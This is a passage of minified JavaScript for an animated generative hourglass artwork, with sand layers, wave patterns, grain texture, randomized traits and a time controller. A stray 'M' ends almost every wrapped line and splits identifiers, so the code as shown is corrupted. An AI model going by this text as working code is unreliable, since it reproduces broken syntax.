uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
